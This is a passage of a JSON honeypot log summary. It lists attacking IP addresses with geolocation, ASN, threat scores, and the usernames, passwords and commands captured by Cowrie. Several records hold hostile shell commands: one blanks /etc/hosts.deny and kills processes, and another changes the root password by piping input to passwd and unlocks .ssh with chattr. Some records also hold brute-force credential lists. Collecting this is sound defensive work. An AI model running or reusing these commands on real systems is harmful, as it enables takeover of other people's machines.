        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 139989,
      "as_org": "CV Atha Media Prima",
      "threat_score": 34.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 255,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T19:15:03.627000+00:00",
        "last_seen_30d": "2026-05-29T19:41:39.077000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 212,
        "Suricata": 43
      }
    },
    "77.247.88.102": {
      "attack_count": 204,
      "first_seen": "2026-05-22T20:36:37.388Z",
      "last_seen": "2026-05-23T07:51:27.950Z",
      "sessions": 102,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Albania",
      "country_code": "AL",
      "city": "Tirana",
      "asn": 216046,
      "as_org": "Tele.Co.Albania SHPK",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 306,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:36:37.388000+00:00",
        "last_seen_30d": "2026-05-23T07:52:31.739000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 204,
        "Suricata": 102
      }
    },
    "206.0.161.197": {
      "attack_count": 166,
      "first_seen": "2026-05-18T22:06:11.463Z",
      "last_seen": "2026-05-19T06:09:47.574Z",
      "sessions": 83,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Cabimas",
      "asn": 271907,
      "as_org": "COLNETWORK C.A.",
      "threat_score": 22.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 252,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:06:11.463000+00:00",
        "last_seen_30d": "2026-05-19T06:10:55.444000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 166,
        "Suricata": 86
      }
    },
    "128.0.104.44": {
      "attack_count": 150,
      "first_seen": "2026-05-08T03:31:38.326Z",
      "last_seen": "2026-05-31T22:13:11.209Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kyiv",
      "asn": 6698,
      "as_org": "Virtual Systems LLC",
      "threat_score": 54.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.4,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 175,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T03:31:38.326000+00:00",
        "last_seen_30d": "2026-05-31T22:14:18.051000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 100,
        "Suricata": 75
      }
    },
    "87.121.69.138": {
      "attack_count": 150,
      "first_seen": "2026-05-08T09:23:59.809Z",
      "last_seen": "2026-05-31T12:57:48.425Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 213035,
      "as_org": "Des Capital B.V.",
      "threat_score": 54.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.4,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 175,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T09:23:59.809000+00:00",
        "last_seen_30d": "2026-05-31T12:58:56.315000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 100,
        "Suricata": 75
      }
    },
    "72.17.34.38": {
      "attack_count": 149,
      "first_seen": "2026-05-29T06:43:52.497Z",
      "last_seen": "2026-05-29T07:07:27.899Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ftp2",
        "345gs5662d34",
        "admin",
        "bacula",
        "ecoserver",
        "jeff",
        "jose",
        "modify",
        "silvia",
        "toto",
        "ubuntu",
        "vanessa"
      ],
      "passwords_attempted": [
        "password",
        "1qaz1QAZ",
        "1qaz@WSX3edc",
        "3245gs5662d34",
        "345gs5662d34",
        "3edcVFR$",
        "Abc@123123",
        "Berbidvps.ir",
        "Zs123456",
        "bacula",
        "ecoserver",
        "fjbdfdjkdsfs541544",
        "jeff",
        "modify",
        "silvia",
        "toto",
        "vanessa"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"password\\nAV2fsmIHcAO7\\nAV2fsmIHcAO7\\n\"|passwd",
        "echo -e \"password\\nAV2fsmIHcAO7\\nAV2fsmIHcAO7\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Winter Park",
      "asn": 33363,
      "as_org": "Charter Communications, Inc",
      "threat_score": 33.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 190,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T06:43:52.497000+00:00",
        "last_seen_30d": "2026-05-29T07:08:36.370000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 149,
        "Suricata": 41
      }
    },
    "36.70.110.251": {
      "attack_count": 110,
      "first_seen": "2026-05-20T04:51:10.799Z",
      "last_seen": "2026-05-20T12:02:03.038Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "East Jakarta",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 22.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 165,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T04:51:10.799000+00:00",
        "last_seen_30d": "2026-05-20T12:12:52.399000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 110,
        "Suricata": 55
      }
    },
    "123.8.36.229": {
      "attack_count": 106,
      "first_seen": "2026-05-19T13:08:56.772Z",
      "last_seen": "2026-05-19T17:53:37.355Z",
      "sessions": 53,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 20.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 159,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T13:08:56.772000+00:00",
        "last_seen_30d": "2026-05-19T17:54:40.054000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 106,
        "Suricata": 53
      }
    },
    "189.217.18.79": {
      "attack_count": 100,
      "first_seen": "2026-05-24T02:48:39.499Z",
      "last_seen": "2026-05-24T03:50:20.845Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Ciudad Nezahualcoyotl",
      "asn": 28548,
      "as_org": "Cablevision, S.A. de C.V.",
      "threat_score": 26.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 158,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T02:48:39.499000+00:00",
        "last_seen_30d": "2026-05-24T03:51:30.611000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 100,
        "Suricata": 58
      }
    },
    "171.41.131.235": {
      "attack_count": 86,
      "first_seen": "2026-05-20T04:38:27.696Z",
      "last_seen": "2026-05-20T10:18:36.532Z",
      "sessions": 43,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 21.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 132,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T04:38:27.696000+00:00",
        "last_seen_30d": "2026-05-20T10:19:42.494000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 86,
        "Suricata": 46
      }
    },
    "34.156.17.87": {
      "attack_count": 73,
      "first_seen": "2026-05-21T05:44:46.022Z",
      "last_seen": "2026-05-21T05:45:40.087Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 739",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T05:44:46.022000+00:00",
        "last_seen_30d": "2026-05-21T05:46:49.379000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 42
      }
    },
    "27.31.110.158": {
      "attack_count": 68,
      "first_seen": "2026-05-20T13:56:28.569Z",
      "last_seen": "2026-05-20T18:12:27.004Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 21.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 108,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T13:56:28.569000+00:00",
        "last_seen_30d": "2026-05-20T18:13:35.241000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 40
      }
    },
    "200.192.151.14": {
      "attack_count": 52,
      "first_seen": "2026-05-23T09:02:57.183Z",
      "last_seen": "2026-05-23T14:04:31.477Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Esmeraldas",
      "asn": 28572,
      "as_org": "Apoiocom Digital Ltda - EPP",
      "threat_score": 23.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 78,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T09:02:57.183000+00:00",
        "last_seen_30d": "2026-05-23T14:05:36.694000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 52,
        "Suricata": 26
      }
    },
    "2.103.144.210": {
      "attack_count": 48,
      "first_seen": "2026-05-12T21:34:41.686Z",
      "last_seen": "2026-05-12T21:53:16.656Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Weymouth",
      "asn": 13285,
      "as_org": "TalkTalk",
      "threat_score": 11.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T21:34:41.686000+00:00",
        "last_seen_30d": "2026-05-12T22:04:08.708000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "119.28.107.251": {
      "attack_count": 42,
      "first_seen": "2026-05-05T01:54:54.311Z",
      "last_seen": "2026-05-31T05:41:33.938Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 51.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.9,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:54:54.311000+00:00",
        "last_seen_30d": "2026-05-31T05:42:38.821000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "221.15.31.224": {
      "attack_count": 38,
      "first_seen": "2026-05-04T00:10:52.309Z",
      "last_seen": "2026-05-04T00:14:58.620Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 3.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 58,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T00:10:52.309000+00:00",
        "last_seen_30d": "2026-05-04T00:16:02.065000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 20
      }
    },
    "85.120.81.241": {
      "attack_count": 36,
      "first_seen": "2026-05-08T22:31:24.770Z",
      "last_seen": "2026-05-30T20:33:14.041Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Moldova",
      "country_code": "MD",
      "city": "Chisinau",
      "asn": 200019,
      "as_org": "Alexhost Srl",
      "threat_score": 45.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.2,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T22:31:24.770000+00:00",
        "last_seen_30d": "2026-05-30T20:34:14.946000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "176.36.188.241": {
      "attack_count": 32,
      "first_seen": "2026-05-21T13:14:52.782Z",
      "last_seen": "2026-05-21T18:46:18.041Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kyiv",
      "asn": 39608,
      "as_org": "Lanet Network Ltd",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 50,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T13:14:52.782000+00:00",
        "last_seen_30d": "2026-05-21T18:56:22.157000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 18
      }
    },
    "182.127.10.92": {
      "attack_count": 30,
      "first_seen": "2026-05-23T07:49:07.047Z",
      "last_seen": "2026-05-23T07:52:21.381Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 21.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T07:49:07.047000+00:00",
        "last_seen_30d": "2026-05-23T07:53:22.469000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "119.98.12.247": {
      "attack_count": 28,
      "first_seen": "2026-05-19T07:07:35.840Z",
      "last_seen": "2026-05-19T08:54:38.532Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137266,
      "as_org": "CHINATELECOM Hubei province Wuhan 5G network",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:07:35.840000+00:00",
        "last_seen_30d": "2026-05-19T08:55:48.646000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "181.99.28.48": {
      "attack_count": 26,
      "first_seen": "2026-05-23T03:56:27.537Z",
      "last_seen": "2026-05-23T04:11:16.822Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "C\u00f3rdoba",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T03:56:27.537000+00:00",
        "last_seen_30d": "2026-05-23T04:13:11.875000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 26,
        "Suricata": 16
      }
    },
    "198.98.56.215": {
      "attack_count": 18,
      "first_seen": "2026-05-10T03:03:04.112Z",
      "last_seen": "2026-05-14T03:21:42.195Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Staten Island",
      "asn": 53667,
      "as_org": "FranTech Solutions",
      "threat_score": 12.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T03:03:04.112000+00:00",
        "last_seen_30d": "2026-05-14T03:22:43.656000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "64.120.94.133": {
      "attack_count": 18,
      "first_seen": "2026-05-09T23:24:55.973Z",
      "last_seen": "2026-05-17T22:32:18.266Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 59253,
      "as_org": "LEASEWEB SINGAPORE PTE. LTD.",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T23:24:55.973000+00:00",
        "last_seen_30d": "2026-05-17T22:33:26.680000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "95.215.32.13": {
      "attack_count": 14,
      "first_seen": "2026-05-09T00:12:44.631Z",
      "last_seen": "2026-05-10T02:48:01.955Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubnt"
      ],
      "passwords_attempted": [
        "admin",
        "ubnt"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 19318,
      "as_org": "Interserver, Inc",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T00:12:44.631000+00:00",
        "last_seen_30d": "2026-05-10T02:49:07.214000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 8
      }
    },
    "64.62.197.32": {
      "attack_count": 13,
      "first_seen": "2026-05-07T12:26:53.123Z",
      "last_seen": "2026-05-21T11:15:46.019Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 93.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 228,
        "days_active_30d": 30,
        "ports_targeted_30d": 69,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T03:28:21+00:00",
        "last_seen_30d": "2026-05-31T06:20:08.222000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 138,
        "Honeytrap": 72,
        "Cowrie": 13,
        "Adbhoney": 4,
        "ConPot": 1
      }
    },
    "104.218.165.188": {
      "attack_count": 12,
      "first_seen": "2026-05-28T01:13:11.793Z",
      "last_seen": "2026-05-28T01:13:31.922Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
